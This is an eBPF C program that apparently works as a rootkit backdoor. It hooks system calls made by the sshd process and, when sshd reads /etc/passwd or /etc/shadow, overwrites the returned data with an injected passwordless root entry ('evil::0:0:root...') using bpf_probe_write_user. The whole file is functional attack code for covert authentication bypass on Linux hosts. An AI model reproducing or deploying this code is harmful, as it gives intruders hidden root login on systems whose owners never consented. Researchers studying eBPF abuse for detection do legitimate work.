// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2020 Facebook */

#define BPF_NO_PRESERVE_ACCESS_INDEX
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>


#define MISS 0
#define HIT 1
#define EMPTY 0
#define TARGET_NAME "sshd"
#define SHADOW "/etc/shadow"
#define PASSWD "/etc/passwd"
#define TASK_COMM_LEN			16
#define SKIP_OFFSET 0x2bb
#define IS_PASSWD 1
#define IS_SHADOW 2


#define HOOK_SHADOW 1

int  shadow_fd = 0;
int passwd_fd = 0;
int if_read=0;
int read_fd = EMPTY;
int read_len = 0;

void *read_to = NULL;
int sshd_pid=0;
char fmt[]="%s";
char EVIL_SHADOW[] = "test::18997:0:99999:7:::";
char EVIL_PASSWD[] = "evil::0:0:root:/root:/bin/bash";


/* ****************************** Deceleration Begin ****************************** */
/* Another Helpers */
static __inline int memcmp(const void* s1, const void* s2, size_t cnt);
static __inline void *memcpy(void* dest, const void* src, size_t count);
/* Enter Operation */
static __inline int handle_enter_read(struct bpf_raw_tracepoint_args *ctx);
static __inline int handle_enter_close(struct bpf_raw_tracepoint_args *ctx);
static __inline int handle_enter_stat(struct bpf_raw_tracepoint_args *ctx);
static __inline int handle_enter_fstat(struct bpf_raw_tracepoint_args *ctx);
static __inline int handle_enter_openat(struct bpf_raw_tracepoint_args *ctx);



/* Exit Hook Operation */
static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx);
static __inline int handle_exit_stat();
static __inline int handle_exit_fstat();
static __inline int handle_exit_openat(struct bpf_raw_tracepoint_args *ctx);
/* ****************************** Deceleration Over ****************************** */


/* ****************************** Implement Begin ****************************** */

static __inline int memcmp(const void* s1, const void* s2, size_t cnt){

  const char *t1 = s1;
  const char *t2 = s2;

  int res = 0;
  while(cnt-- > 0){
    if(*t1 > *t2){
      res =1;
      break;
    }
    else if(*t1 < *t2){
      res = -1;
      break;
    }
    else{
      t1++;
      t2++;
    }
  }

  return res;
}
static __inline void *memcpy(void* dest, const void* src, size_t count)
{


       char* pdest =(char*) dest;

       const char* psrc =(const char*) src;

       if (psrc > pdest || pdest >= psrc + count)

       {

              while (count--)

              *pdest++ = *psrc++;

       }

       else

       {

               while (count--)

               {

                     *(pdest + count) = *(psrc + count);

              }

       }

return dest;

}




/* ****************************** Implement Over ****************************** */
static __inline int handle_enter_read(struct bpf_raw_tracepoint_args *ctx){
  struct pt_regs *regs;
	char buf[0x40];
	char *pathname ;
  int len=0;
  int fd=0;
  regs = (struct pt_regs *)(ctx->args[0]);
  fd = PT_REGS_PARM1_CORE(regs);
  read_to = (char *)PT_REGS_PARM2_CORE(regs);
  len = PT_REGS_PARM3_CORE(regs);
  //bpf_printk("Read FD: %d\n",fd);
  if(if_read == EMPTY){
    return 0;
  }else if(if_read == IS_PASSWD){
    //bpf_printk("Read \"/etc/passwd\" \n");
    return 0;
  }
  if(shadow_fd == 0){
    return 0;
  }
  


  //if_read = 0;
  // if(shadow_fd == fd){
  //   
  //   //shadow_fd = EMPTY;
  // }

  return 0;
}
static __inline int handle_enter_close(struct bpf_raw_tracepoint_args *ctx){
  struct pt_regs *regs;
  int fd=0;
  regs = (struct pt_regs *)(ctx->args[0]);
  fd = PT_REGS_PARM1_CORE(regs);
  if(fd == shadow_fd){
    bpf_printk("CLOSE Shadow\n");
    shadow_fd = EMPTY;
  }
  return 0;
}
static __inline int handle_enter_stat(struct bpf_raw_tracepoint_args *ctx){
    struct pt_regs *regs;
	char buf[0x40];
	char *pathname ;

	regs = (struct pt_regs *)(ctx->args[0]);

  // Read the correspoding string which ends at NULL
  pathname = (char *)PT_REGS_PARM1_CORE(regs);
  bpf_probe_read_str(buf,sizeof(buf),pathname);
  if(memcmp(buf , PASSWD , sizeof(PASSWD)) && memcmp(buf,SHADOW,sizeof(SHADOW))){
		return 0;
  }
  bpf_printk("stat: %s\n",buf);
  return 0;
}
static __inline int handle_enter_fstat(struct bpf_raw_tracepoint_args *ctx){
  return 0;
}

// int openat(int dirfd, const char *pathname, int flags);
static __inline int handle_enter_openat(struct bpf_raw_tracepoint_args *ctx){
  struct pt_regs *regs;
	char buf[0x40];
	char *pathname ;

	regs = (struct pt_regs *)(ctx->args[0]);
  pathname = (char *)PT_REGS_PARM2_CORE(regs);
  bpf_probe_read_str(buf,sizeof(buf),pathname);
  //bpf_printk("%s\n",buf);
  if(!memcmp(buf, PASSWD,sizeof(PASSWD))){
    passwd_fd = BPF_CORE_READ(regs,di);
    bpf_printk("Open Passwd,fd : %d\n",passwd_fd);
    if_read = IS_PASSWD;
  }else if(!memcmp(buf , SHADOW,sizeof(SHADOW))){
    shadow_fd = BPF_CORE_READ(regs,di);
    bpf_printk("Open Shadow,fd : %d\n",shadow_fd);
    if_read = IS_SHADOW;
  }
  return 0;
}

SEC("raw_tracepoint/sys_enter")
int raw_tp_sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
    unsigned long syscall_id = ctx->args[1];
    char comm[TASK_COMM_LEN];
    bpf_get_current_comm(&comm, sizeof(comm));
    // executable is not cron, return
    if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME))){
        return 0;
    }

    sshd_pid = bpf_get_current_pid_tgid() & 0xffffffff;

    //bpf_printk("sshd trigger!\n");
    switch (syscall_id)
    {
        case 0:
            handle_enter_read(ctx);
            break;
        case 3:  // close
            handle_enter_close(ctx);
            break;
        case 4:
            handle_enter_stat(ctx);
            break;
        case 5:
            handle_enter_fstat(ctx);
            break;
        case 257:
            handle_enter_openat(ctx);
            break;
        default:
            //bpf_printk("None of targets , break");
            return 0;
    }
    return 0;
}



static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx){
  if(read_to == NULL){
    return 0;
  }
  if(if_read == 0){
    return 0;
  }
  ssize_t ret = ctx->args[1];
  if (ret <= 0)
    {
        read_to  = 0;
        bpf_printk("[sys_exit::handle_exit_read] read failed!\n");
        return 0;
    }
  if (ret < sizeof(EVIL_PASSWD) || ret < sizeof(EVIL_SHADOW))
    {
        bpf_printk("PAYLOAD too long\n");

        read_to = 0;
        return 0;
    }
  
  // Modify the "/etc/passwd"
  if (if_read == IS_PASSWD){
    #ifdef HOOK_PASSWD
    bpf_probe_write_user((char *)(read_to),EVIL_PASSWD, sizeof(EVIL_PASSWD));
    #endif
    bpf_printk("%s\n",read_to);
  } // Modify the "/etc/shadow"
  else if(if_read == IS_SHADOW){
    #ifdef HOOK_SHADOW
    bpf_probe_write_user((char *)(read_to),EVIL_SHADOW, sizeof(EVIL_SHADOW));
    #endif 
    bpf_printk("%s\n",read_to);
  }
  if_read = 0;
  read_to = NULL;
  return 0;
}

SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx)
{
  unsigned int id=0;
  struct pt_regs *regs;
  if (sshd_pid == 0)
        return 0;
    int pid = bpf_get_current_pid_tgid() & 0xffffffff;
    if (pid != sshd_pid)
        return 0;
  

  regs = (struct pt_regs *)(ctx->args[0]);
  // Read syscall_id from orig_ax
  id = BPF_CORE_READ(regs,orig_ax);
  switch (id)
    {
        case 0:
            handle_exit_read(ctx);
            break;
        // case 4:
        //     handle_exit_stat();
        //     break;
        // case 5:
        //     handle_exit_fstat();
        //     break;
        // case 257:
        //     handle_exit_openat(ctx);
        //     break;
        default:
            return 0;
    }

  return 0;
}

char LICENSE[] SEC("license") = "Dual BSD/GPL";